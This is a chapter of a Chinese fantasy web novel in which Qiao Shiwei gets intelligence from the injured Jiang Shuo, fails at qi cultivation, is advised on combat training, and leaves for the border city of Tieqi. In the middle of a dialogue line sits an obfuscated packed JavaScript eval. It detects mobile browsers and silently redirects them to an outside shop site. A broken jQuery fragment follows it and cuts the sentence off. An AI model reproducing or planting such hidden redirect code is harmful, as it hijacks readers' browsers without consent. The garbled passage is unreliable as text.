江朔左手调整了下夹板的位置，动作熟练，表情却是一脸揶揄：
“……搞得跟我快死了一样。”
“你是习武之人，右手要是受了影响，那岂不是――”
“只是不能用大力而已，干些一般的事还凑合……再说了，右手要是实在不行，那就换成左手。”
江朔说得轻描淡写，但乔师微想也知道，这个过程不可能轻松。
“可这岂不相当于从头再练……”
“欸，别总这么悲观。我方才说的是最坏的情况，万一我根本没必要换手呢？”
“万一，万分之一……你可真是够乐观的。”
“世间还是好事多。谢乔大人夸奖。”
“……”
乔师微被他堵得嘴角一抽，但微表情收得很快，也不想再纠缠下去，换了个新话题。
“你准备回九州清晏？”
“不然呢？都这个样子了，肯定要回去养。山主那边也有医修，比军营里方便。”
他把地方志往旁边推了推，左手手指在封面上敲了两下。
“不过如果你们要查的话，我建议你往西走。”
“西边？”
“铁旗城。东尧和西永的边界。北安城的事，明面上的已经挖得差不多了，不过暗地里有些事没明朗……冯禄和西永人达成了什么协定？他为什么想到西永去？这些事，只能往西边查。西永要入境的话也麻烦，所以最好先在边境望望风。”
这话有道理。
铁旗城，北境防线最西端，和西永隔一条界河，互市驻军走私情报……全搅在一起。
冯禄的火铳图纸是从西永过来的，白允安的名字出现在他的账本上，这条线往西追，确实比在北安城里翻旧账更有用。
“我知道了。”
她点点头，几息后又发现不对，诧异地转头对上他的目光。
“……你给我们说这么详细？”
江朔被她狐疑的语气逗笑了：
“是我自己本来想顺着这条线查下去，但出了这事，我也不好上着夹板到处跑对吧？所以就只能把情报交给你们……乔大人这说的，跟我特意来害你们一样。”
也对。
人家说的也是人之常情……好像真是她想多了。
“……我不是那个意思。”
“哦，行，你不是。”
乔师微：“……”
这人嘴这么长的？
话说得差不多了。眼瞧着江朔都重新拿起了地方志，大抵是送客的节奏，乔师微又突然想起了个话题：
“娄薇和陈禾今早都不在城内，你知道她们去哪儿了吗？”
江朔埋头看起了地方志，眼睛都不眨。
“哦，娄薇我安排去九州清晏了，山主那边会照应她。”
“陈禾呢？”
“……这我就不知道了。不管怎么样，她毕竟是杀了人，可能怕被追责，跑了吧。”
这解释有几分道理，但蹊跷也不少。
陈禾那样的事都敢做……不像那种不敢承担后果的人。
江朔垂着眸子读书，趁她停顿的当儿又翻了一页，看不出什么破绽。
……大抵他真的也不知道。
不过有一说一，娄薇的事，他办得确实不错。
通灵体质，在别处会被当成怪物，在九州清晏至少能过正常日子，要是勤奋一点，指不定日后也能成一代大家。
“娄薇去九州清晏很合适……说起来，英鹤跟我说过，你以前救过很多人？真的吗？”
江朔挑了挑眉，目光终于从书页上抬起来了。
“……英鹤？”
“她说你救过她。”
“出来混嘛，路见不平，给需要的人一个容身之所而已……没什么大不了的。”
他用左手枕着头，靠在墙上，姿态和语气放松得如出一辙。
乔师微看着他。
方才那话说得也是含糊……半真半假，看来就是此人的一贯风格。
按理来说她该反感他的。
遗憾的是，此人长相的确一绝，剑眉凤目，轮廓分明，哪怕是配上这种讨打的神色，她也真生不起恶意。
只能先撤了。
“那你好好养伤，我先回去了。”
“慢走不送。”
*
回到客房，孟萌和姜绛正在打包行李。
说是打包，其实是孟萌把东西往包袱里塞，姜绛跟在后面往外捡。
孟萌塞一件，姜绛捡一件，两人已经持续了这个循环大概一炷香的时间。
地上摊着两个敞开的包袱：衣服、干粮、铜钱、水囊、一卷绷带、半包不知道从哪里弄来的牛肉干，以及姜绛的画具。
姜绛举起那半包牛肉干：
“这个牛肉干已经硬了。你咬得动吗？”
“这可是北戎的还东西，哪怕咬不动还可以磨牙。”
“磨牙你不如带块石头。”
“石头不能吃。牛肉干至少还能吃。”
“……你管这叫能吃？”
姜绛掰了一下，没掰动，递给孟萌。
孟萌接过来咬了一口，嚼了大概十息，表情从自信变成犹豫再变成一种强撑的若无其事。
“能吃。”
“……你把那块吐出来再跟我说一遍。”
孟萌讪讪，还是把牛肉干取了出来。
乔师微跨过地上那摊东西，走到自己的床铺前，把从淮南带出来的包袱打开。
衣服，干粮，铜钱，朱砂，黄符，毛笔，还有本《修行入门》。
司天监黄阶弟子的标准教材，她淮南那晚从藏书阁借的，过了这么些时日，她几乎把这档子给忘了。
她想了想，把书拿出来放在枕边，然后坐下，开始收拾行李。
*
夜里，孟萌和姜绛都睡下了。
孟萌的鼾声从隔壁间传过来，姜绛那边则睡得很安静。
姜绛今天就开始执行了姜维远的要求，画的是修缮中的城隍庙，成品还晾在窗台上风干。
乔师微独自在房中，把油灯挪到床头，翻开那本修行入门。
书是司天监的标准教材，第一章讲引气：感应天地灵气，然后将灵气引入经脉，再在丹田形成第一个气旋。
当年她在司天监的时候就读过很多遍，每一个步骤都能背下来。
但读是一回事，做是另一回事。
当年她看的时候就没灵脉这个前提，现在经历了一番机缘，灵脉应该是开了，不知道会不会有变化。
她快速把前三章阅览完，闭上眼睛，然后盘腿坐好，闭按照书上写的引气法门开始尝试。
上次在江朔的指引下已经有了基础，这次看看能不能进步。
吸气，呼气……
想象天地灵气从头顶百会穴灌入，再沿任脉下行至丹田。
她反复做了十几次。
她睁开眼睛，看着自己的手。
皮肤正常的色调，并没有黄绿色的光。
丹田里的东西还是上次那么多，她驱策不了。
监正孟钊的话又在她耳畔回荡：
“青阳之体不适合东尧的修行方式……”
也对。她在司天监待了那么多年，一点门都没入，不熟没有原因的。
淮南在东尧，青阳之体在东北，一方水土养一方人。
就和杨香陇按淮南的法子修行，灵力也提不上去一样。
不过那个江朔却能激发她的灵力……
难道他也是东北人？
她把书合上，揉了揉眉心。
门外传来脚步声，然后是孟萌的声音，压低了但没完全压低：
“师微？你还没睡？”
乔师微一惊，把书放边上，起身去开门。
孟萌站门外探头探脑，头发披着，手里拿了个水囊。
……大抵是被渴醒的。
她越过乔师微的肩膀，看到床上的修行入门，眉头轻蹙：
“这么晚了，还在练功？”
“……试了试，没效果。”
孟萌走进来，把水囊放在桌上，在方凳上坐下。她没有看那本翻旧了的修行入门，只是盯着乔师微的脸，然后问了个她完全没想到的问题：
“那你干嘛不换个方向？既然灵脉不行，那那你就别修灵气了呗。练别的。”
“比如？”
“比如——肉身战力！你看我，灵力兵道榜一，体术也不差啊。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17859612|208817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
乔师微一脸微妙地凝视着对方的眼：
“……我？你认真的？”
孟萌被她看得有点发毛，讪笑道：
“呃，这也只是我个人的建议嘛――话说你今晚怎么突然想起这个？”
“偶然翻出了这本书而已。”
“不过你说得也是……作为修士，实战能力不能太差，哪怕当国师也总得自保吧。”
乔师微没有反驳。
她每次都是被保护的那个。
血月之夜赖孟萌挡枪，郑鸳自爆靠江朔出手……更别提每次遇见端王的那个银面具，她都毫无还手之力。
她想变强。
“你说得对。但我不会体术，也不知道自己适不适合。”
孟萌闻言挠挠头，忽然站起来：
“你等着。”
乔师微一头雾水。
孟萌跑出去没多久，带回来一个人。
苏衡。
这可怜是医修师兄显然是刚从被窝里被挖出来的，头发没梳，鞋也没穿好，眉头皱着，表情介于困惑和专业之间。
苏衡打了个哈欠，又甩甩头强行让自己清醒些，这才开始了正题。
“……孟师妹说乔大人想咨询肉身战力的提升方法？我先说明，我是医修，不是兵修。但体修和兵道的基础身体评估，我能做。”
“麻烦你了。”
苏衡调动灵力，从她的经脉过了一遍，收回手的时候眉头皱得比刚才更正了。
“实话实说，你不太适合体修或者兵道。肌型和骨骼都不是那块料……呃，倒不是说不能练，但练到能上战场的水平，要花的时间太长了……而且你不大有灵力，体修的很多高爆发动作需要灵力辅助，强行练反而容易受伤。”
“那就没别的办法了？”
“不，你可以试法修――其实你本来走的就是这条路。法修不靠肉身，主修推演和灵力控制，要是有符阵底子更是锦上添花。”
“她推演和符阵都很强。”
孟萌在旁边插了一句。
“那就对了。国师本人就是法修，乔大人本就该和她师父走同一条路的。只是灵力的事……乔大人的灵脉开了，最近可有试过在此基础上修行？”
“……试过。没用。”
“那就怪了。”
苏衡神色严肃了不少。
“话说你的灵脉闭了十年，怎么开的？”
“呃，得贵人相助。”
开灵脉是黔州的银面具，让灵脉里不空的才是江朔那个法子。
……总不能说快被人射死的时候突然天道酬勤了吗？
“那个人是谁？”
乔师微想起他的水系灵力：
“嗯，一个北方人。”
“如此。看起来乔大人的体质比较亲近北方的路数……既然这样，我作为淮南的医修也是爱莫能助了。乔大人若是有意向，可以去找北方的修士……只是北箕灭了，那里是西永的地盘，也不知道现在的情况怎么样。”
“多谢苏师兄指教，今晚的事麻烦你了。”
“无事。本就是我分内之事。”
*
次日清晨，三人在城主府门口整装待发。
三匹快马咴咴嘶鸣，王泰本人没露面，派了个衙役来送行，只说了几句“三位仙长一路顺风”之类的场面话意思意思，就走了。
如此做派，当真是上行下效。
赵云礼也入了城，他这次没穿盔甲，只是一身深灰便装，把一份通关文书递给乔师微。
“铁旗城是边境，入城要查验身份。这份文书上盖了北境军的章，够你们三个人用。”
有了北安城碰壁的教训，乔师微也对边境的入城管理有了概念，从善如流地接了下来：
“多谢赵统领。”
“不用谢我。这是公事。铁旗城的情况比较复杂，东西两边的势力都有渗透，你们要干什么事情，小心些。”
“……北境军的防线，往西最远到铁旗城？”
“对。过了界河就不是我们的防区了。”
“那如果我们过了界河呢？”
赵云礼看着她，沉默了两息。
“擅自越界，有被当场击毙的风险。”